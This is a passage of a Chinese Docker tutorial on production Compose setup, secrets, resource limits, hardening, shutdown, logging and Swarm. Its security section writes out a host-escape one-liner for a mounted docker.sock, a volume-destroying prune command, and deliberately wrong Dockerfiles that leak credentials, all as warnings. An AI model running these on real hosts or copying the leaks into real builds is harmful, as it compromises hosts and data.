Asia\u002FShanghai }\n    configs: [{ source: app-conf, target: \u002Fetc\u002Fshop\u002Fconfig.yaml }]\n    secrets: [database_url]\n    healthcheck:\n      test: [\"CMD\", \"node\", \"-e\", \"require('http').get('http:\u002F\u002F127.0.0.1:3000\u002Fhealthz',r=>process.exit(r.statusCode===200?0:1)).on('error',()=>process.exit(1))\"]\n      interval: 15s\n      timeout: 3s\n      retries: 3\n      start_period: 20s\n    deploy: { resources: { limits: { memory: 512M, cpus: \"1.5\" } } }\n    depends_on: { db: { condition: service_healthy }, cache: { condition: service_started } }\n  db:\n    \u003C\u003C: *service\n    image: postgres:16.4@sha256:6d7df8c5b0f8\n    environment: { POSTGRES_PASSWORD_FILE: \u002Frun\u002Fsecrets\u002Fdb_password }\n    volumes: [db-data:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata]\n    secrets: [db_password]\n    networks: [shop-net, db-only]\n    healthcheck: { test: [\"CMD-SHELL\", \"pg_isready -U shop\"], interval: 10s, retries: 5 }\n  cache:\n    \u003C\u003C: *service\n    image: redis:7.2-alpine@sha256:1a2b3c4d5e6f\n    command: [\"redis-server\", \"--appendonly\", \"yes\", \"--maxmemory\", \"256mb\"]\n    volumes: [cache-data:\u002Fdata]\n    healthcheck: { test: [\"CMD\", \"redis-cli\", \"ping\"], interval: 10s, retries: 3 }\nnetworks:\n  shop-net: {}\n  db-only: { internal: true }\nvolumes: { db-data: {}, cache-data: {} }\nconfigs: { app-conf: { file: .\u002Fconfig\u002Fapp.prod.yaml } }\nsecrets:\n  db_password: { file: .\u002Fsecrets\u002Fdb_password.txt }\n  database_url: { file: .\u002Fsecrets\u002Fdatabase_url.txt } 这份配置里每一条都能在前面章节找到理由：digest 锁版本（第十章）、expose 而非 ports 让 api 不对外（第八章）、internal 网络隔离数据库、read_only + tmpfs（第十五章）、init（本章）、healthcheck + service_healthy（第十一章）、日志轮转（第十六章）、密钥走 secrets 文件（下一章主题）。 下一章就专门讲这条线：配置与密钥怎么进容器。",{"id":131030,"title":56443,"titles":131031,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#十三配置与密钥优先级secrets-与别把配置打进镜像",[45617],{"id":131033,"title":56446,"titles":131034,"content":131035,"level":357},"\u002Ftutorials\u002Fdocker#环境变量注入的四条路径与优先级",[45617,56443],"同一个变量在四个地方都能写，最终生效的是优先级最高的那个： printf 'LOG_LEVEL=debug\\nPORT=3000\\n' > .env.runtime\ndocker run --rm -e LOG_LEVEL=warn --env-file .env.runtime myimg:1.0 printenv LOG_LEVEL 优先级（低 → 高） 来源 特点 1 Dockerfile ENV 进镜像，所有环境共享，只能被覆盖不能删 2 --env-file \u002F Compose env_file 文件里的值；Compose 中多个文件后者覆盖前者 3 -e KEY=VAL \u002F Compose environment 命令行级，覆盖 env_file 4 Compose environment 里的 ${VAR} 插值 + 宿主真实环境 .env 只做文本展开，不影响上面的覆盖次序 一句话记忆：environment 压过 env_file，env_file 压过镜像 ENV。而 Compose 的 .env（插值用）和 env_file（注入容器用）根本不在同一层——.env 里的 APP_VERSION 只会出现在 yaml 里，不会自动进容器。这是新手最常见的「我在 .env 写了怎么容器里读不到」。 验证永远是同一条命令：docker exec shop-api printenv，或 docker inspect --format '{{json .Config.Env}}'。",{"id":131037,"title":56612,"titles":131038,"content":131039,"level":357},"\u002Ftutorials\u002Fdocker#_12-factor-在容器里的落地",[45617,56443],"原则 容器里的做法 反例 配置存环境 环境变量 \u002F secrets 文件 config.prod.yaml 打进镜像 日志到标准输出 不写日志文件，交给驱动与采集 容器内 \u002Fvar\u002Flog\u002Fapp\u002F*.log（docker logs 全空） 一个进程一个容器 web\u002Fapi\u002Fworker 分开 一个容器跑 nginx + php-fpm + cron 快速启动与优雅停机 就绪探针 + SIGTERM 处理 启动要跑 30 秒初始化脚本 无状态 状态放卷\u002F对象存储\u002FDB session 存进程内存（扩容即掉线） 构建一次多环境跑 镜像不变，只换环境变量 生产用「生产版 Dockerfile」重新构建 核心是最后一条：镜像不可变，环境差异全靠注入。这也回答了「为什么不要把配置 COPY 进镜像」——一旦 COPY，每个环境都要构建一个镜像，缓存、回滚、审计全部翻倍；而且配置文件里通常藏着连接串和密钥，镜像一旦被 pull 就等于泄密（第十五章演示 docker history 捞密钥）。",{"id":131041,"title":56718,"titles":131042,"content":131043,"level":357},"\u002Ftutorials\u002Fdocker#secretsswarm-原生-vs-compose-的-file-driver",[45617,56443],"secrets:\n  db_password:\n    file: .\u002Fsecrets\u002Fdb_password.txt     # file driver：本质是把这个文件挂到 \u002Frun\u002Fsecrets\u002Fdb_password\n  jwt_key:\n    source: jwt_key                      # 外部已存在的 secret（Swarm 或外部管理） 必须知道的区别：非 Swarm 环境下 Compose 的 secret 就是 bind mount 一个文件，落盘、可读、宿主上明文存在；只有 Swarm 才把它放进内存（tmpfs）并加密分发。docker secret create 在非 Swarm 节点会报 This node is not a swarm manager。所以「用了 secrets 就安全」是不成立的——真正的收益是约定路径（\u002Frun\u002Fsecrets\u002F\u003Cname>）与应用用 *_FILE 变量读（如 POSTGRES_PASSWORD_FILE），让密钥不进环境变量列表（docker inspect、printenv、\u002Fproc\u002F1\u002Fenviron 都能读到环境变量，而 secret 文件需要能访问挂载点才行）。 临时与内存型的配置用 tmpfs（第九章）：--mount type=tmpfs,target=\u002Frun\u002Fsecrets,tmpfs-size=1m。",{"id":131045,"title":56819,"titles":131046,"content":131047,"level":357},"\u002Ftutorials\u002Fdocker#挂载配置目录-只读以及-gitignore",[45617,56443],"docker run -d --name shop-web -v \u002Fsrv\u002Fshop\u002Fnginx\u002Fconf.d:\u002Fetc\u002Fnginx\u002Fconf.d:ro nginx:1.27-alpine ro 不是可选的礼貌：配置文件被容器改坏（某些镜像会在启动脚本里 envsubst 写回 \u002Fetc\u002F...）时，只读挂载能让失败在第一次写就暴露，而不是悄悄污染宿主。宿主机上把配置放在 \u002Fsrv\u002F\u003Cproject>\u002Fconfig，用 chmod 0640 root:shop 收紧，容器以 --group-add 或 --user 匹配读组。 .gitignore 里和容器相关的必备项： .env\n.env.*\n!.env.example\nsecrets\u002F\n*.pem\n*.key\ndocker-compose.override.yaml\ncompose.override.yaml\n\u002Fdata\u002F .env.example（只有键名和假值）应该提交，它是给同事的「配置契约」。",{"id":131049,"title":56887,"titles":131050,"content":131051,"level":357},"\u002Ftutorials\u002Fdocker#模板化配置一行-envsubst",[45617,56443],"配置里需要变量替换时（nginx upstream、数据库连接串），把模板留在镜像里、启动时渲染，是 12-factor 与「不重新构建」的折中： envsubst '${DB_HOST} ${DB_PORT}' \u003C \u002Fetc\u002Fshop\u002Fapp.yaml.tpl > \u002Fetc\u002Fshop\u002Fapp.yaml 官方 nginx:1.27-alpine 已经内置这个机制（\u002Fdocker-entrypoint.envsubst.sh 目录约定）。两个坑：envsubst 不带参数会替换所有 $VAR（把应用里的 $2、shell 变量一起吃掉），所以一定限定变量名单；渲染目标是 bind mount 来的路径时会因 :ro 失败——那种情况请挂模板目录、输出到容器内可写路径或 tmpfs（第九章的 diff 可以帮你找出所有需要可写的路径）。",{"id":131053,"title":56948,"titles":131054,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#十四资源限制与性能内存cpu-与-137-的定位路径",[45617],{"id":131056,"title":61697,"titles":131057,"content":131058,"level":357},"\u002Ftutorials\u002Fdocker#内存-memory-与-memory-swap-的语义陷阱",[45617,56948],"写法 含义 -m 512m（不写 swap） 内存 512m + 等量 swap（实际默认 swap 上限 = 2× 内存，即总 1024m） -m 512m --memory-swap 512m 禁用 swap（总可用就是 512m） -m 512m --memory-swap 768m 512m 内存 + 256m swap -m 512m --memory-swap -1 swap 不限（危险，磁盘 IO 可能拖垮宿主） --memory-reservation 256m 软下限，内存紧张时才尝试回收 --memory-swap 是总量（内存 + swap），不是 swap 量——这个反直觉定义让「写 0」有特殊意义：--memory-swap 0 无效，想禁 swap 要写成与 -m 相等。生产建议显式禁 swap（--memory-swap 等于 --memory），因为被换出的容器进程会出现「没被 OOM 但响应巨慢」的诡异状态，比直接 OOM 更难诊断。 cgroup v1 与 v2 的差异要知道：v2 下没有独立的 memory.memsw.limit_in_bytes，Docker 用 memory.swap.max 表示「swap 部分」，同样的参数在不同机器上落点不同（docker info 看 Cgroup Version）。",{"id":131060,"title":57071,"titles":131061,"content":131062,"level":357},"\u002Ftutorials\u002Fdocker#cpu-与进程数",[45617,56948],"docker run -d --cpus 1.5 --cpuset-cpus 2,3 --cpu-shares 512 --pids-limit 256 shop-api 参数 机制 要点 --cpus 1.5 cgroup quota（cpu.max） 硬上限；1.5 = 每秒最多用 1.5 核时间。写 0.5 表示半核 --cpu-shares（默认 1024） 权重 只在 CPU 争抢时生效；空闲时容器能用满宿主。别把它当上限 --cpuset-cpus 绑核 减少调度迁移与 NUMA 跨节点，低延迟场景用 --pids-limit 进程\u002F线程总数 防 fork 炸弹打爆宿主（默认 unlimited 是个隐患） --cpus 与 --cpu-shares 的区别是「天花板」和「分蛋糕比例」——把后者当限制用的人，会发现 docker stats 里 CPU 偶尔 800%，那不是 bug。",{"id":131064,"title":57206,"titles":131065,"content":131066,"level":357},"\u002Ftutorials\u002Fdocker#oom-与-exit-137-的定位路径",[45617,56948],"看到 Exited (137) 时的四步（顺序不能乱）： docker inspect shop-api --format 'oom={{.State.OOMKilled}} exit={{.State.ExitCode}}'\ndocker stats --no-stream shop-api                   # 看 LIMIT 是不是本来就设小了\ndmesg -T | grep -i -E 'oom|killed process' | tail   # 或 journalctl -k\ndocker events --since 2h --filter event=die OOMKilled=true → 内存配额不够或应用泄漏，调 -m 或修应用；OOMKilled=false 而码是 137 → 有人（或脚本、docker kill、stop 超时）发了 SIGKILL，用 docker events 找时间点。注意内核 OOM 也可能杀宿主进程：没设 -m 的容器可以一路吃到宿主内存，最后 OOM killer 挑了个 sshd——这就是「慎用 --oom-kill-disable」的理由：它让容器在内存不足时不可被杀，于是内核去杀邻居。",{"id":131068,"title":57320,"titles":131069,"content":131070,"level":357},"\u002Ftutorials\u002Fdocker#容器里看到的免费内存核数是宿主的",[45617,56948],"docker run -it --rm --cpus 1 --memory 256m node:22-bookworm-slim sh\n\u002Fsrv\u002Fshop $ free -h          # 显示宿主总内存\n\u002Fsrv\u002Fshop $ nproc            # 显示宿主核数\n\u002Fsrv\u002Fshop $ cat \u002Fsys\u002Ffs\u002Fcgroup\u002Fmemory.max      # 268435456  ← 真实上限在这\n\u002Fsrv\u002Fshop $ cat \u002Fsys\u002Ffs\u002Fcgroup\u002Fcpu.max          # 100000 25000 ← quota\u002Fperiod = 4 核？其实是 1 核 原因是 \u002Fproc 与 free 读的是全局视图，namespace 没隔离它们（lxcfs 就是专门伪造这些文件的方案，K8s 环境偶尔引入）。所以：依赖 os.totalmem()、Runtime.availableProcessors() 的库在容器里都会算错。 JVM：新版默认按 cgroup 限制算堆（-XX:+UseContainerSupport），显式配 -XX:MaxRAMPercentage=70.0 比写死 -Xmx 更可移植；老 8u 之前的版本会按宿主内存开堆，然后被 OOM Kill。 Node：--max-old-space-size 要小于容器内存（留 20–25% 给 Buffer\u002F线程栈），否则 V8 觉得还有空间、内核先动手；uv.defaultConcurrency、os.cpus().length 决定 worker\u002F线程池大小，按 --cpus 自己算而不是读 cpus()。 Go：GOMAXPROCS 默认读宿主核数，CPU 限额 0.5 核时会出现大量线程被 throttle，用 automaxprocs 或显式设。",{"id":131072,"title":57486,"titles":131073,"content":131074,"level":357},"\u002Ftutorials\u002Fdocker#清理与镜像瘦身prune-的杀伤范围",[45617,56948],"docker system df                 # 先看账本，永远先跑这个\ndocker container prune           # 只删已停止容器\ndocker image prune               # 只删悬空镜像（无 tag 的）\ndocker image prune -a            # 删所有「没有被任何容器使用」的镜像 —— 会拉回重下\ndocker builder prune             # 只清构建缓存（BuildKit），层缓存没了但镜像还在\ndocker system prune              # 上述前三类的组合\ndocker system prune -a --volumes  # 加上所有未使用卷 —— 数据库没了 最后一行是 Docker 世界里的 rm -rf：--volumes 会删掉所有当前没被容器引用的命名卷，包括你昨天测试留下的生产库副本（第九章匿名卷那段）。安全替代： docker image prune -a --filter \"until=336h\"     # 只清 7 天前的，留回滚余地\ndocker ps -a --filter status=exited --format '{{.Names}}'   # 先列清单再决定\ndocker volume ls --filter name=shop              # 精确定位，然后 volume rm 具体名字 镜像体积影响的不只是磁盘：容器首次启动要等层下载+解压完成（第三章），1GB 与 80MB 的镜像在扩缩容、故障重调度时的恢复时间差一个量级。多阶段构建（第五章）+ slim\u002Falpine 基础镜像 + 把 RUN 链起来减少层数（第四章的 rm -rf \u002Fvar\u002Flib\u002Fapt\u002Flists\u002F*），三招通常能砍掉 70%。 示例 14 演示一次完整的定位：容器反复 Exited (137)，从 inspect 到 stats 到内核日志，最后落到 JVM 堆参数与 -m 的错配。",{"id":131076,"title":57690,"titles":131077,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#十五安全实践非-root能力裁剪只读根文件系统与扫描",[45617],{"id":131079,"title":57694,"titles":131080,"content":131081,"level":357},"\u002Ftutorials\u002Fdocker#为什么默认是-rootrootless-能不能真解决",[45617,57690],"镜像默认以 root 跑是历史决定：装包、写系统目录、绑 80 端口都方便。后果是应用一旦被 RCE，攻击者拿到的是容器内的 root——它可以调用镜像允许的所有 capability、访问所有挂载。 关键认知：容器内 root ≠ 宿主 root，但也绝不是安全的。能不能逃逸取决于能力集、seccomp、挂载了什么。rootless 模式（第二章）把「逃逸后拿到的身份」从 root 降级成普通用户，这是真实的收益；但它不改变容器内应用仍以自己的 UID 拥有全部权限这一事实，也不解决 secret 泄漏与网络暴露。两者是不同层次的缓解，都要做。",{"id":131083,"title":57715,"titles":131084,"content":131085,"level":357},"\u002Ftutorials\u002Fdocker#dockerfile-里的-user-与非-root-镜像",[45617,57690],"FROM node:22-bookworm-slim\nRUN groupadd --gid 1001 app \\\n    && useradd --uid 1001 --gid app --shell \u002Fusr\u002Fsbin\u002Fnologin --home-dir \u002Fsrv\u002Fshop --no-create-home app\nWORKDIR \u002Fsrv\u002Fshop\nCOPY --chown=1001:1001 . .\nUSER 1001:1001 要点： 用数字 USER 1001:1001，别写 USER app——写名字时依赖镜像里恰好有那个用户，基础镜像一换就 unable to find user app: no matching entries in passwd file（Exited (127) 家族）。 Alpine 系是 addgroup -g 1001 app && adduser -S -D -u 1001 -G app app，参数名与 Debian 完全不同，抄错就构建失败。 先装东西、再切用户（第四章）。切完之后 RUN apt-get 必然权限不足；需要写目录时提前 chown 或 COPY --chown，别在运行时用 root 去修。 现成的非 root 镜像更省事：node 自带 node 用户（UID 1000）、nginxinc\u002Fnginx-unprivileged:1.27-alpine 直接听 8080。",{"id":131087,"title":57809,"titles":131088,"content":131089,"level":357},"\u002Ftutorials\u002Fdocker#能力裁剪与安全选项",[45617,57690],"docker run --rm --cap-drop=ALL --cap-add=NET_BIND_SERVICE --security-opt no-new-privileges:true shop-api:1.8.3 选项 作用 说明 --cap-drop=ALL 去掉所有 Linux capability 默认容器给了约 14 个（含 CHOWN、NET_RAW、SETUID…），够用但偏宽 --cap-add=NET_BIND_SERVICE 单独加回「绑 1024 以下端口」 需要 80\u002F443 时唯一该加的；更优做法是监听高位端口由反代转发 --security-opt=no-new-privileges 禁止 setuid 提权 挡住 sudo\u002FSUID 程序这条最常见路径，成本几乎为零，建议默认开 --security-opt=seccomp=default 系统调用白名单 默认档已屏蔽 ~44 个危险调用；个别应用（老 Docker 里的 pthreads、JVM 某些诊断）需要自定义 profile --security-opt=apparmor=docker-default LSM 强制访问控制 有 AppArmor 的发行版默认启用；SELinux 环境用 -v 加 :z\u002F:Z --privileged 放开一切 加全部 capability、关 seccomp 与 AppArmor、能访问所有设备。永远不要为了「让它跑起来」而加它，那是把宿主双手交出",{"id":131091,"title":57968,"titles":131092,"content":131093,"level":357},"\u002Ftutorials\u002Fdocker#只读根文件系统与最小写入面",[45617,57690],"docker run --rm --read-only --tmpfs \u002Ftmp --tmpfs \u002Frun --user 1001:1001 shop-api:1.8.3 --read-only 让「写文件」这件事只在显式挂载的路径上可能，等于把入侵者的持久化路径（放马、改二进制、写 crontab）砍掉。落地顺序很实际：先用 docker diff + 一段试运行收集所有写入路径（第九章），再逐条给 --tmpfs 或卷，最后打开 read_only: true（第十二章）。",{"id":131095,"title":58022,"titles":131096,"content":131097,"level":357},"\u002Ftutorials\u002Fdocker#镜像扫描与最小基础镜像",[45617,57690],"trivy image --severity HIGH,CRITICAL ghcr.io\u002Fexample\u002Fshop-api:1.8.3\ndocker scout quickview nginx:1.27-alpine        # Docker Desktop\u002FHub 内置\ndocker image inspect ghcr.io\u002Fexample\u002Fshop-api:1.8.3 --format '{{.Created}} {{len .RootFS.Layers}}' 扫描解决「已知 CVE」，不解决「未知漏洞」与配置错误；把 trivy 放进 CI 当门（--exit-code 1），比事后在服务器上发现强。基础镜像取舍： 选择 体积 好处 代价 *-bookworm-slim 中 glibc 兼容、包全、CVE 少 仍有 apt 与 shell，调试方便 alpine 小 极小、apk 快 musl 而非 glibc：需要 glibc 的二进制直接失败；预编译 wheel 可能退回源码编译；历史上 musl 的 DNS（线程栈、getaddrinfo）行为与 glibc 有差异，出现「只有生产偶发解析超时」 distroless 很小 无 shell、无包管理器，攻击面最小 无法 exec 调试（第七章的方案全换：用 docker run --rm --entrypoint 或调试专用镜像、nsenter） scratch 最小 只有你的二进制 要自己处理 CA 证书、时区文件、DNS（静态编译才可行） glibc vs musl 的坑在 Python（numpy\u002Fpsycopg 类需编译的包）和任何自带 .so 的 SDK 上出现最多。判断办法：docker exec c ldd \u002Fusr\u002Flocal\u002Fbin\u002Fapp 看链接的是 libc.musl* 还是 libc.so.6。",{"id":131099,"title":58204,"titles":131100,"content":131101,"level":357},"\u002Ftutorials\u002Fdocker#密钥泄漏为什么-arg-env-run-都不行",[45617,57690],"ARG TOKEN\nRUN curl -H \"Authorization: token ${TOKEN}\" https:\u002F\u002Fapi.github.com\u002F...   # 错误示范\nENV DB_PASSWORD=hunter2                                                   # 错误示范\nRUN git clone https:\u002F\u002Fuser:password@github.com\u002Fexample\u002Fprivate.git        # 错误示范\nRUN npm ci --token=${NPM_TOKEN} && rm -rf \u002Froot\u002F.npmrc                    # rm 也救不了 三条都能被捞出来：docker history --no-trunc 直接打印指令文本；docker save 后的层 tar 里文件还在（写时复制：rm 只是遮住）；镜像被 pull 走后你无从审计。「后面删掉」不是修复，因为它只是在上层放了 whiteout。正确做法只有两条：构建期用 --mount=type=secret（第五章），运行期注入（第十三章）。同理，COPY 一个带 .git 的目录会把整个提交历史（含密钥）留在镜像里——.dockerignore 加 .git。 其余几条硬规则： --init \u002F init: true：PID 1 负责收尸，否则僵尸进程累积到 --pids-limit 就起新进程失败。 --pid=container:x \u002F --ipc=container:x 共享：共享 PID 意味着能看见甚至影响邻居的进程（kill、读 \u002Fproc\u002F*\u002Fenviron 里的密钥）；共享 IPC 意味着能读写对方共享内存。除非明确需要（如 sidecar 调试），不要共享。 挂载 \u002Fvar\u002Frun\u002Fdocker.sock 等于交出宿主 root：容器里一句 docker run -v \u002F:\u002Fhost alpine chroot \u002Fhost 就能拿到宿主。真需要「容器里管容器」（CI、Portainer、watchtower），用只读 socket 代理（tecnativa\u002Fdocker-socket-proxy）白名单最小 API，或者用 rootless daemon。",{"id":131103,"title":58320,"titles":131104,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#十六生产运行重启策略健康检查优雅停机与备份",[45617],{"id":131106,"title":61713,"titles":131107,"content":131108,"level":357},"\u002Ftutorials\u002Fdocker#restart-四种策略怎么选",[45617,58320],"策略 daemon 重启后 应用崩溃 你手动 docker stop 后 no（默认） 不拉起 不拉起 不拉起 on-failure:5 拉起 拉起，最多 5 次 不拉起 unless-stopped 拉起（除非它此前是被手动停的） 拉起 不拉起 always 拉起 拉起 也会拉起（daemon 重启时） 单机生产的答案基本都是 unless-stopped：它尊重你的「我就是要停掉它」这个意图，always 则会在你重启 Docker 之后把已经手动停掉的容器又拉起来（升级维护时这会很难堪）。on-failure 适合一次性任务与迁移脚本（退出码非 0 才重试）。 要注意的盲区：--restart 不处理 unhealthy。健康检查连续失败只会让状态变成 (unhealthy)，容器照跑（第六章）。自愈要么靠应用自己崩溃退出（配合 restart），要么外部加 watcher，要么上编排（第十七章）。",{"id":131110,"title":58444,"titles":131111,"content":131112,"level":357},"\u002Ftutorials\u002Fdocker#healthcheck-与就绪判断",[45617,58320],"docker inspect --format '{{.State.Health.Status}}' shop-api\ndocker inspect --format '{{json .State.Health}}' shop-api | jq '.Log[-3:]'   # 最近三次检查记录 HEALTHCHECK 的四个参数各自管什么：--interval 检查频率、--timeout 单次超时、--retries 连续失败几次算 unhealthy、--start-period 启动宽限期（期间失败不计、状态是 health: starting）。生产最常见的事故是没设 start-period：应用冷启动要 25 秒，前两次检查失败被判 unhealthy，编排层不停重建，永远起不来。 inspect 的 .State.Health.Log 里有每次执行的 Exit、Output、Start\u002FEnd，这是判断「到底是超时还是返回码不对」的唯一依据。另外 Compose 的 condition: service_healthy（第十一章）依赖它。",{"id":131114,"title":58542,"titles":131115,"content":131116,"level":357},"\u002Ftutorials\u002Fdocker#优雅停机信号怎么传pid-1-问题与解法",[45617,58320],"docker stop 的完整时序是：发 SIGTERM → 等 --stop-timeout（默认 10s）→ 还没退出就 SIGKILL。应用要在窗口内做完：停止接受新连接 → 等手头请求结束 → 关连接池 → flush 日志 → exit 0。 失效的原因在第四章埋的伏笔： CMD [\"sh\", \"-c\", \"node app.js\"]      # PID 1 = sh，node 是它的子进程 sh -c 起的子进程不是 PID 1，而 shell 默认不转发收到的 SIGTERM（它只等子进程结束），于是：容器收到信号 → sh 无动作 → 10 秒后 Docker 发 SIGKILL → node 被硬杀 → 退出码 137、请求被截断、事务未提交。同样地，shell 形式 CMD node app.js（不带 JSON 数组）也是经 \u002Fbin\u002Fsh -c 执行，症状一致。 三种解法： CMD [\"node\", \"app.js\"]                 # ① exec 形式：node 就是 PID 1\nENTRYPOINT [\"tini\", \"--\"]              # ② 装 tini（或直接 --init）\nCMD [\"node\", \"src\u002Fserver.js\"] docker run -d --init --stop-timeout 30 shop-api:1.8.3    # ③ --init 由 Docker 注入 tini exec 形式最省事，但要求应用自己处理 SIGTERM（Node：process.on('SIGTERM', …)；Python：signal.signal；Go：signal.NotifyContext；Java：ShutdownHook）。 --init \u002F tini 除了转发信号还负责收尸（僵尸进程），是通用建议默认开的选项（第十二章 init: true）。 若一定要在 CMD 里做变量替换，用 exec 内联替换当前 shell：CMD [\"sh\",\"-c\",\"exec node $ENTRY_FILE\"]——exec 让 node 顶替 sh 成为 PID 1。 验证是否真的收到信号：docker stop 时看日志有没有你的 graceful-shutdown 行，以及 docker inspect --format '{{.State.ExitCode}}' 是 143\u002F137（没处理）还是 0（处理了）。示例 16 把这套对比做成终端演示：同一个镜像，shell 形式 CMD 与 exec 形式 CMD 在 docker stop -t 15 下的不同结局。",{"id":131118,"title":58709,"titles":131119,"content":131120,"level":357},"\u002Ftutorials\u002Fdocker#日志json-file-的轮转必须设",[45617,58320],"默认 json-file 驱动不限制大小：一台机器跑三个月，\u002Fvar\u002Flib\u002Fdocker\u002Fcontainers\u002F\u003Cid>\u002F\u003Cid>-json.log 能长到几十 GB，把磁盘写满（第十八章的 no space left on device 一大半是这个）。 { \"log-driver\": \"json-file\", \"log-opts\": { \"max-size\": \"20m\", \"max-file\": \"3\", \"compress\": \"true\" } } 写进 \u002Fetc\u002Fdocker\u002Fdaemon.json 是全局兜底；单个服务在 Compose 里写 logging（第十二章）。改完只影响之后创建的容器，已有容器要 docker compose up -d --force-recreate。 其他驱动与取舍：syslog（--log-opt syslog-address=udp:\u002F\u002F10.0.0.7:514 --log-opt tag={{.Name}}，走集中式，注意 UDP 会丢）、journald（能 journalctl -u docker 一起看）、local（Docker 自带的轻量二进制日志，daemon 重启不丢，但生态工具读不了）、fluentd（采集侧最常用，配合 Fluent Bit 直接读 json-file 也行）、none（一次性任务用）。采集侧的通用做法：Agent 以 DaemonSet\u002Fsidecar 方式挂 \u002Fvar\u002Flib\u002Fdocker\u002Fcontainers:ro 与 \u002Fvar\u002Frun\u002Fdocker.sock，按 label 打标（第六章 --label）。",{"id":131122,"title":58833,"titles":131123,"content":131124,"level":357},"\u002Ftutorials\u002Fdocker#时区locale-与镜像版本固定",[45617,58320],"FROM node:22-bookworm-slim\nENV TZ=Asia\u002FShanghai\nRUN apt-get update && apt-get install -y --no-install-recommends tzdata && rm -rf \u002Fvar\u002Flib\u002Fapt\u002Flists\u002F* TZ 环境变量在 glibc\u002Fmusl 上都生效，但镜像里必须有 tzdata，否则 TZ 无效退化成 UTC（alpine 要 apk add tzdata）。更稳的做法是把宿主 \u002Fetc\u002Flocaltime 与 \u002Fusr\u002Fshare\u002Fzoneinfo 只读挂进去。日志时间戳与数据库时区不一致，九成是这个原因。locale 上 slim\u002Falpine 默认 C.UTF-8，够 JSON 与 ASCII 用；要中文排序\u002Fstrcoll 才需要生成 locale（或换 Debian 完整版）——别为了一个报错在镜像里装全套语言包。 版本固定与回滚的思路（第十章的 tag 语义在这里落地）：部署清单里记 digest，up -d 前先拉新再切；单机土法滚动： docker compose -f compose.yaml -f compose.prod.yaml up -d --no-recreate api   # 新 api 起在 8081\ndocker inspect --format '{{.State.Health.Status}}' shop-api-2                  # 等 healthy\ndocker exec shop-web nginx -s reload                                          # 上游切到新实例\ndocker stop shop-api && docker rm shop-api 回滚就是把旧 digest 再 up 一次——前提是镜像还留着、且数据库迁移是向后兼容的（迁移脚本要能回滚或双写，这是应用层设计，Docker 帮不了你）。蓝绿在单机 Docker 下的实质就是「两套端口 + 反代切换」，别指望 --restart 帮你做发布。",{"id":131126,"title":58989,"titles":131127,"content":131128,"level":357},"\u002Ftutorials\u002Fdocker#备份与监控",[45617,58320],"单机备份三件套，缺一不可： tar czf \u002Fbackup\u002Fshop-${DATE}.tar.gz -C \u002Fsrv\u002Fshop compose.yaml compose.prod.yaml config nginx secrets\u002Fdb_password.txt\ndocker run --rm --volumes-from shop-db -v \u002Fbackup:\u002Fbackup alpine tar czf \u002Fbackup\u002Fdb-${DATE}.tar.gz \u002Fvar\u002Flib\u002Fpostgresql\u002Fdata\ndocker save ghcr.io\u002Fexample\u002Fshop-api:1.8.3 | gzip > \u002Fbackup\u002Fshop-api-1.8.3.tar.gz 配置（文本，进 git 或对象存储）+ 数据（卷，pg_dump 优先于文件级）+ 镜像（tar，保证能重建当时的运行态）。恢复演练比备份本身重要：季度性地在一台干净机器上「只用备份」把站起回来（第十章的 docker load 在这里用）。 监控侧：docker stats 是即时快照、无历史、无告警（第十四章），单机最小方案是 cAdvisor（容器指标）+ node_exporter（宿主）+ Prometheus + Grafana： docker run -d --name cadvisor --restart unless-stopped \\\n  --volume=\u002F:\u002Frootfs:ro --volume=\u002Fvar\u002Frun:\u002Fvar\u002Frun:ro \\\n  --volume=\u002Fsys:\u002Fsys:ro --volume=\u002Fvar\u002Flib\u002Fdocker\u002F:\u002Fvar\u002Flib\u002Fdocker:ro \\\n  --publish 127.0.0.1:8081:8080 --detach=true gcr.io\u002Fcadvisor\u002Fcadvisor:v0.49.1 cAdvisor 需要看到宿主的 \u002Fsys、\u002Fvar\u002Flib\u002Fdocker 与 docker socket——这正好是上面「挂 socket 等于交出 root」的现实权衡：监控系统要有边界（只绑回环、单独网络、--read-only 应用不到它但 no-new-privileges 要加）。告警至少配三条：容器 OOMKilled 次数、unhealthy 状态持续、\u002Fvar\u002Flib\u002Fdocker 使用率。",{"id":131130,"title":59181,"titles":131131,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#十七编排与生态compose-的天花板swarm-与-kubernetes",[45617],{"id":131133,"title":59185,"titles":131134,"content":131135,"level":357},"\u002Ftutorials\u002Fdocker#单机-compose-的天花板在哪",[45617,59181],"Compose 是「一台机器上的应用描述器」。它的限制不是功能少，而是模型里没有「集群」这个概念： 想做 Compose 单机能做到吗 缺口 跨机器调度 ✗ 没有节点资源视图与放置逻辑 副本自动重分布 ✗（机器挂了服务就挂） 无健康重建、无 failover 滚动更新与自动回滚 土法（第十六章） 无 rollout 状态机 端口冲突（两机同端口） ✗ ports 是宿主级的，扩容即冲突 密钥加密分发 ✗（file driver 落盘） 第十三章那条区别在这里最要命 资源配额与优先级 部分（limits） 无抢占、无队列 服务发现跨机 靠外部 LB 无内置 VIP\u002F负载均衡 所以判断标准很直接：一台机器能装下、且你能接受它挂了就手动恢复，Compose 够；否则要编排。",{"id":131137,"title":59296,"titles":131138,"content":131139,"level":357},"\u002Ftutorials\u002Fdocker#swarm-的最小可用集",[45617,59181],"Swarm 是 Docker 原生的编排，命令风格与 Compose 连续，上手成本远低于 K8s： docker swarm init --advertise-addr 10.0.0.11\ndocker swarm join-token worker          # 拿到 join 命令给其他节点\ndocker node ls\ndocker node update --availability drain node-2        # 下线维护（先迁移副本） docker network create --driver overlay --attachable shop-net\ndocker secret create db_password .\u002Fsecrets\u002Fdb_password.txt\ndocker service create --name shop-api --replicas 3 -p 8080:3000 \\\n  --network shop-net --mount type=volume,source=uploads,target=\u002Fsrv\u002Fshop\u002Fuploads \\\n  --limit-cpu 1 --limit-memory 512M --update-parallelism 1 --update-delay 10s \\\n  --constraint node.labels.zone==cn-east-a \\\n  ghcr.io\u002Fexample\u002Fshop-api:1.8.3@sha256:9c1f0ea7b2d4\n\ndocker service scale shop-api=6\ndocker service update --image ghcr.io\u002Fexample\u002Fshop-api:1.9.0 shop-api\ndocker service ps shop-api --no-trunc           # 每个副本在哪台、为什么失败\ndocker service logs -f shop-api\ndocker service inspect shop-api --pretty 要点：service 而不是容器——你要的是「期望 3 个副本」，不是「起 3 个容器」；滚动更新由 